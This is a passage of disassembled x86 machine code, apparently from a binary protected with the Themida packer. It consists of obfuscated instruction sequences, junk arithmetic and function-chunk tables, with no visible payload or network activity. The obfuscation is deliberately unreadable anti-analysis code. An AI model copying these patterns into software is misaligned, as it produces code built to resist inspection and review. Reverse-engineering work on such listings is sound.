		add	ecx, 0A575744h
		jmp	loc_58A42B
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5938B9


loc_58FEC9:				; CODE XREF: sub_5938B9:loc_5933C2j
		sub	ecx, 0FFE6DEC0h
		add	ecx, edx
		sub	esp, 4
		jmp	loc_596F09
; END OF FUNCTION CHUNK	FOR sub_5938B9
; ---------------------------------------------------------------------------


loc_58FED9:				; CODE XREF: Themida_:00594A5Cj
		jp	loc_58E993
		jmp	loc_58B185
; ---------------------------------------------------------------------------
		sub	edx, 0BF8793Eh
		pop	esp


loc_58FEEB:				; CODE XREF: Themida_:00590F67j
		sub	ch, 2Ch
		sub	al, ch
		jmp	loc_593DC3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595258


loc_58FEF5:				; CODE XREF: sub_595258-AE48j
		shr	eax, 0Eh
		xor	eax, ecx
		push	10BFh
		mov	[esp+4+var_4], eax
		xchg	ebp, [esp+4+var_4]
		not	ebp
		xchg	ebp, [esp+4+var_4]
		push	[esp+4+var_4]
		mov	eax, [esp+8+var_8]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+0Ch+var_C]
		pop	esp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	edi
		mov	edi, 2A8F504Dh
		inc	edi
		sub	edi, 8407E49h
		or	edi, 78F95CF5h
		not	edi
		not	edi
		push	eax
		mov	eax, 7AFFDEF1h
		xor	edi, eax
		jmp	loc_58CCEF
; END OF FUNCTION CHUNK	FOR sub_595258
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58FF50:				; CODE XREF: sub_58C17E+BCEAj
		add	esp, 4
		or	eax, eax
		jz	sub_590010
		push	dword ptr [edi+1Ch]
		sub	esp, 4
		mov	[esp+0], ebp
		push	1E0E78C8h
		mov	ebp, [esp+2+var_4+2]
		add	esp, 4
		xor	[esp-2+arg_0+2], ebp
		mov	ebp, [esp+0]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_592091
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_58FF8A:				; CODE XREF: sub_58F5B5+70ADj
		pop	dword ptr [esp+0]
		pop	esp
		push	1D0Fh
		mov	[esp-4+arg_0], esp
		add	[esp-4+arg_0], 4
		jmp	loc_590A34
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_58FFA2:				; CODE XREF: sub_5EC2E8-5C79Bj
		pop	[esp+28h+var_28]
		add	[esp+24h+var_24], 4
		push	[esp+24h+var_24]
		pop	eax
		add	esp, 4
		push	edx
		push	ebp
		jmp	loc_591339
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_58FFBA:				; CODE XREF: sub_58F5B5+847j
		pop	ecx
		push	ebx
		push	550D2F7Bh
		pop	ebx
		jmp	loc_58ED09
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------


loc_58FFC7:				; CODE XREF: Themida_:0058D44Dj
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916CB


loc_58FFD3:				; CODE XREF: sub_5916CB-4817j
		push	dword ptr [esp+0]
		jmp	loc_595F7D
; END OF FUNCTION CHUNK	FOR sub_5916CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595E21


loc_58FFDB:				; CODE XREF: sub_595E21+10j
		xchg	edx, ecx
		shl	ecx, 8
		shr	ecx, 1
		push	eax
		mov	eax, 5A692F87h
		xor	eax, 61398934h
		jmp	loc_592E94
; END OF FUNCTION CHUNK	FOR sub_595E21
; ---------------------------------------------------------------------------


loc_58FFF2:				; CODE XREF: Themida_:0058B755j
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_58F7E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5919E2


loc_590005:				; CODE XREF: sub_5919E2+4316j
		add	ebx, eax
		jmp	loc_58EF1B
; END OF FUNCTION CHUNK	FOR sub_5919E2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E0C4


loc_59000C:				; CODE XREF: sub_58E0C4+9205j
		xchg	ebx, [esp+8+var_8]
		pop	esp
; END OF FUNCTION CHUNK	FOR sub_58E0C4

; =============== S U B	R O U T	I N E =======================================



sub_590010	proc near		; CODE XREF: sub_58C17E+3DD7j

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_14		= dword	ptr  18h

; FUNCTION CHUNK AT 0058A59B SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0058A73F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058A7A8 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0058ACB6 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058B426 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0058B51F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058B77F SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0058C13B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058C28C SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0058C2D1 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058C387 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058C51B SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0058C5DA SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058C60A SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058C8DB SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058C945 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058CADA SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058CBED SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058CC74 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0058D1A1 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0058D2ED SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058D3B5 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058D484 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058D4ED SIZE 00000039 BYTES
; FUNCTION CHUNK AT 0058DC29 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058DD16 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 0058DD99 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058DDD5 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058E57F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058E6D6 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0058E728 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058EAE5 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058ED5C SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0058EE00 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0058F0E7 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0058F12A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0058F1D3 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058F2B6 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0058F52E SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058F784 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058F7FE SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0058FC82 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005904E6 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 00590545 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00590BA5 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00590CB7 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00590CD9 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00590D93 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005910BF SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005911E9 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059124E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00591389 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0059165A SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005916A2 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059172D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005919BD SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00591B1E SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005922B2 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059240C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00592661 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005927B1 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00592C35 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00592E9B SIZE 0000002A BYTES
; FUNCTION CHUNK AT 00592F04 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00593273 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059380A SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00593EAE SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005943F3 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0059446D SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005944E5 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00594806 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00594B8D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00594CDA SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0059576A SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00595ACF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00595BE8 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00595FE7 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005964F6 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00596ADA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00597BF9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00597E7F SIZE 00000039 BYTES
; FUNCTION CHUNK AT 00597EC1 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00597F6B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0059805F SIZE 00000006 BYTES

		push	ebx
		sub	esp, 4
		mov	[esp+8+var_8], esi
		push	edi
		mov	edi, 7D233EFAh
		mov	esi, 320F38B9h
		xor	esi, edi
		pop	edi
		push	esi
		mov	esi, 227839F0h
		sub	[esp+0Ch+var_4], esi
		pop	esi
		add	[esp+8+var_4], 6EEF6293h
		sub	[esp+8+var_4], esi
		sub	[esp+8+var_4], 6EEF6293h
		add	[esp+8+var_4], 227839F0h
		pop	esi
		push	[esp+4+var_4]
		jmp	loc_58DD16
sub_590010	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		pop	dword ptr [edx]
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_59005F:				; CODE XREF: Themida_:0059331Bj
		push	esi
		mov	esi, 475BDE3Eh
		sub	eax, esi
		jmp	loc_58AF30
; ---------------------------------------------------------------------------


loc_59006C:				; CODE XREF: Themida_:0058C0F4j
		pop	esp
		jmp	loc_58E787
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_590072:				; CODE XREF: sub_5EC2E8-5525Cj
		mov	[esp+28h+var_28], esi
		mov	esi, 4
		mov	edx, esi
		pop	esi
		add	ebp, edx
		jmp	loc_58F534
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------


loc_590084:				; CODE XREF: Themida_:0058C225j
		sub	ebx, 5FBB4C82h
		jmp	loc_58F0CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_59008F:				; CODE XREF: sub_58F5B5-8A2j
		push	67D8h
		mov	[esp+0], edx
		jmp	loc_5916AF
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------


loc_59009C:				; CODE XREF: Themida_:00596381j
		mov	ebp, esp
		push	686h
		mov	[esp], eax
		mov	eax, 62141B4Fh
		sub	eax, 73AF0838h
		push	ebx
		mov	ebx, 119AECEDh
		add	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		push	edi
		push	esi
		push	ebp
		mov	ebp, 2BBB7847h
		jmp	loc_58C7D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_5900D6:				; CODE XREF: sub_5916C4-4FAj
		push	1ABF2115h
		mov	ecx, [esp+1Ah+var_1A]
		jmp	loc_59388D
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------


loc_5900E3:				; CODE XREF: Themida_:00590D26j
		mov	esi, 37FC484Ch
		sub	eax, 7B464125h
		add	eax, esi
		jmp	loc_590A9C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916CB


loc_5900F4:				; CODE XREF: sub_5916CB-2149j
		jmp	loc_59674C
; END OF FUNCTION CHUNK	FOR sub_5916CB
; ---------------------------------------------------------------------------


loc_5900F9:				; CODE XREF: Themida_:0058A971j
		not	ebp
		dec	ebp
		shl	ebp, 4
		dec	ebp
		sub	ebp, 4DB494CFh
		add	eax, 55E6D72h
		add	eax, ebp
		push	edi
		mov	edi, 7D061BACh
		jmp	loc_595C71
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_590118:				; CODE XREF: sub_5916C4+3012j
					; Themida_:00595C83j
		neg	edi
		shr	edi, 1
		add	edi, 9F123D6Fh
		sub	eax, edi
		pop	edi
		pop	ebp
		mov	esi, [esp+12h+var_12]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+16h+var_16]
		pop	esp
		push	2326h
		mov	[esp+16h+var_16], ecx
		sub	esp, 4
		mov	[esp+1Ah+var_1A], ebp
		mov	ebp, 570214FDh
		push	ebp
		pop	ecx
		pop	ebp
		shr	ecx, 2
		push	eax
		mov	eax, 4F821D40h
		jmp	loc_596FF5
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_590163:				; CODE XREF: sub_590467+586Fj
		jmp	loc_58A2CE
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------


loc_590168:				; CODE XREF: Themida_:005975BFj
		dec	ebp
		and	ebp, 0A781946h
		dec	ebp
		xor	ebp, 84D79D1h
		add	eax, ebp
		pop	ebp
		mov	edx, [esp]
		add	esp, 4
		push	5C1Dh
		mov	[esp], ebx
		jmp	loc_58EAA4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_59018F:				; CODE XREF: sub_58C17E+43DDj
		add	cl, 35h
		sub	dl, cl
		pop	ecx
		mov	eax, [esp+0]
		add	esp, 4
		add	bl, 0A7h
		sub	bl, 8Dh
		sub	bl, dl
		add	bl, 8Dh
		sub	bl, 0A7h
		pop	edx
		movzx	eax, al
		pop	dword ptr [edi+eax*4]
		jmp	loc_58A2CE
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_5901B5:				; CODE XREF: Themida_:005932AFj
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	ecx
		push	2
		mov	ecx, [esp]
		add	esp, 4
		add	edx, ecx
		pop	ecx
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		add	[esp], al
		pushf
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	[esp], ax
		pushf
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_5901F7:				; CODE XREF: sub_5916C4-6EB8j
		pop	edx
		add	ebp, 6BD47F93h
		jo	loc_592503
		xor	ebp, 81576044h
		and	ecx, ebp
		mov	ebp, [esp-4+arg_0]
		mov	bl, cl
		mov	ecx, edx


loc_590213:				; CODE XREF: Themida_:005916F8j
		mov	eax, 24AD0CC5h
		jmp	loc_58FCC1
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------


loc_59021D:				; CODE XREF: Themida_:00593833j
		pop	ebx
		jmp	loc_592E86
; ---------------------------------------------------------------------------


loc_590223:				; CODE XREF: Themida_:005945F3j
		pop	ebp
		xor	ebp, 6D9E42FEh
		xor	ebp, 0EF9624EFh
		add	edi, ebp
		pop	ebp
		add	eax, 7A0D0A50h
		sub	eax, 22082222h
		sub	eax, edi
		push	ebx
		mov	ebx, 53B32E5Dh
		push	edi
		mov	edi, 7074533Dh
		or	edi, 158415FAh
		inc	edi
		add	edi, 0FE3E2599h
		sub	ebx, edi
		pop	edi
		shl	ebx, 5
		sub	ebx, 0CE0DF65Eh
		add	eax, ebx
		pop	ebx
		sub	eax, 7A0D0A50h
		pop	edi
		push	edi
		push	eax
		push	76925241h
		pop	eax
		xor	eax, 5DB93723h
		mov	edi, eax
		pop	eax
		xchg	edx, edi
		dec	edx
		jmp	loc_5918B1
; ---------------------------------------------------------------------------


loc_590285:				; CODE XREF: Themida_:00591AF2j
		not	edi
		sub	edi, 0E58CF291h
		add	ebp, edi
		pop	edi
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 2
		add	ebp, esi
		jmp	loc_58BCFF
; ---------------------------------------------------------------------------


loc_5902B2:				; CODE XREF: Themida_:00597AC9j
		add	eax, edx
		push	ebp
		mov	ebp, 47F83C3Ah
		jmp	loc_5975B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5919E2


loc_5902BF:				; CODE XREF: sub_5919E2+3B8Bj
		sub	esi, edx
		pop	edx
		jmp	loc_58B4FB
; END OF FUNCTION CHUNK	FOR sub_5919E2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F091


loc_5902C7:				; CODE XREF: sub_58F091-3C04j
		xor	edi, ebp
		jmp	loc_58CC69
; END OF FUNCTION CHUNK	FOR sub_58F091
; ---------------------------------------------------------------------------


loc_5902CE:				; CODE XREF: Themida_:005935CDj
		jno	loc_591323
		dec	cl
		jns	loc_58EBB5
		sub	cl, 31h
		mov	ah, cl
		pop	ecx
		push	ecx


loc_5902E3:				; CODE XREF: Themida_:005918F9j
		push	dword ptr [esp]
		pop	eax
		push	esi
		mov	esi, esp
		push	edx
		mov	edx, 351F6D44h
		push	edi
		mov	edi, 4AD30D6Ah
		add	edx, edi
		pop	edi
		jmp	loc_59177A
; ---------------------------------------------------------------------------


loc_5902FE:				; CODE XREF: Themida_:00595D9Dj
		neg	eax
		jmp	loc_592FD6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5948B7


loc_590305:				; CODE XREF: sub_5948B7-8A49j
		mov	ecx, [esp+4+var_4]
		add	esp, 4
		sub	ecx, 32441BE5h
		not	ecx
		push	ebx
		mov	ebx, 4510A3Fh
		and	ebx, 42D36925h
		jmp	loc_58CBB7
; END OF FUNCTION CHUNK	FOR sub_5948B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_590327:				; CODE XREF: sub_590467-4AAAj
		jnp	loc_58C80B
		sub	ebp, 7E96BDFBh
		mov	edx, ebp
		mov	ebp, [esp-4+arg_0]
		mov	ebp, edi
		mov	ebx, edi
; END OF FUNCTION CHUNK	FOR sub_590467
; START	OF FUNCTION CHUNK FOR sub_5942E3


loc_59033C:				; CODE XREF: sub_5942E3-92C4j
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xor	esi, [esp+0]
		xor	[esp+0], esi
		xor	esi, [esp+0]
		pop	esp
		mov	[esp+0], edi
		mov	edi, 4
		add	eax, edi
		jmp	loc_595F54
; END OF FUNCTION CHUNK	FOR sub_5942E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_590363:				; CODE XREF: sub_5916C4:loc_58B3F0j
		or	edx, 0E147ADBh
		jmp	loc_58FC93
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------


loc_59036E:				; CODE XREF: Themida_:0058ECB1j
		jmp	loc_58A6B4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5919E2


loc_590373:				; CODE XREF: sub_58B4D6+1DFFj
					; sub_5919E2-3246j
		add	ebx, 1F325105h
		mov	edx, [esp+10h+var_10]
		add	esp, 4
		sub	esp, 4
		mov	[esp+10h+var_10], eax
		mov	eax, 4A6360B6h
		sub	eax, 93A2BD3h
		push	ebx
		mov	ebx, 6B0B1B08h
		or	eax, ebx
		pop	ebx
		jmp	loc_595CF3
; END OF FUNCTION CHUNK	FOR sub_5919E2
; ---------------------------------------------------------------------------


loc_5903A0:				; CODE XREF: Themida_:loc_58DF01j
		sub	ebp, 986AA3FFh
		jmp	loc_58F10B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59762D


loc_5903AB:				; CODE XREF: sub_59762D:loc_5923D6j
		shr	ebp, 4
		jmp	loc_58C654
; END OF FUNCTION CHUNK	FOR sub_59762D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_5903B3:				; CODE XREF: sub_58C17E+BCC2j
		push	eax
		push	esi
		jmp	loc_58D686
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5938B9


loc_5903BA:				; CODE XREF: sub_5938B9-45DFj
		pop	esi
		sub	ebp, ecx
		pop	ecx
		or	edx, ebp
		pop	ebp
		push	ebx
		jmp	loc_58D894
; END OF FUNCTION CHUNK	FOR sub_5938B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596EB8


loc_5903C7:				; CODE XREF: sub_596EB8+6j
		add	[esp+4], ebx
		pop	ebx
		mov	edi, [esp+0]
		add	esp, 4
		push	0DD4h
		mov	[esp+0], eax
		mov	eax, 4
		sub	edi, 6943295Ah
		sub	edi, 56532E03h
		add	edi, eax
		add	edi, 56532E03h
		push	esi
		mov	esi, 523041A0h
		add	esi, 751C0DAEh
		sub	esi, 4EB46A4h
		xor	esi, 0AB2221F0h
		add	edi, esi
		pop	esi
		mov	eax, [esp+0]
		add	esp, 4
		sub	edi, 4
		xchg	edi, [esp-4+arg_0]
		pop	esp
		mov	[esp-8+arg_4], edx
		push	eax
		pushf
		jmp	loc_58A2CE
; END OF FUNCTION CHUNK	FOR sub_596EB8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592D25


loc_59042B:				; CODE XREF: sub_592D25-7B8j
		sub	ebp, 0F8F058Eh
		jmp	loc_590C5E
; END OF FUNCTION CHUNK	FOR sub_592D25
; ---------------------------------------------------------------------------


loc_590436:				; CODE XREF: Themida_:0058E6A4j
		mov	[esp], edi
		mov	edi, 5BCE9F7Bh
		sub	esp, 4
		jmp	loc_58FDDA
; ---------------------------------------------------------------------------


loc_590449:				; CODE XREF: Themida_:005926CDj
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	edi
		mov	edi, esp
		push	0AA8h
		mov	[esp], ebx
		jmp	loc_59185B
; ---------------------------------------------------------------------------


loc_59045F:				; CODE XREF: Themida_:0058F493j
		mov	esi, esp
		push	edx
		jmp	loc_58D5BE

; =============== S U B	R O U T	I N E =======================================



sub_590467	proc near		; CODE XREF: sub_58F5B5-1A5Cj

var_A		= dword	ptr -0Ah
var_6		= dword	ptr -6
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_E		= dword	ptr  12h
arg_12		= dword	ptr  16h

; FUNCTION CHUNK AT 0058A3E0 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0058A70D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058A723 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0058A76D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058A8E2 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0058AE9C SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0058B0AA SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058B128 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0058B365 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0058B3FA SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0058B4CE SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058B75A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058B9BA SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058BB9C SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0058BCA5 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058C03A SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0058C233 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0058C397 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058C413 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058C80B SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0058C950 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058CDB3 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 0058D164 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 0058D24D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058D314 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058D5EE SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058D7EF SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0058D852 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058D883 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058DA3B SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058DDCC SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058DE71 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0058E06E SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058E20E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058E47C SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0058E77B SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058EB56 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058EBAB SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058EDDF SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058F0C2 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058F219 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058F2A6 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058F500 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058F5D3 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058F9E1 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0058FB59 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058FCB2 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058FE0E SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00590163 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00590327 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005907FE SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00590B14 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00591453 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005914E9 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00591AAC SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00591B02 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00591BA0 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00591CDB SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00591EB5 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00591F65 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00592085 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00592107 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00592127 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00592247 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00592268 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00592572 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00592777 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005927CD SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00592845 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00592BA1 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00592CAD SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0059357F SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059373E SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00593842 SIZE 00000044 BYTES
; FUNCTION CHUNK AT 00593C42 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00593CE3 SIZE 00000011 BYTES
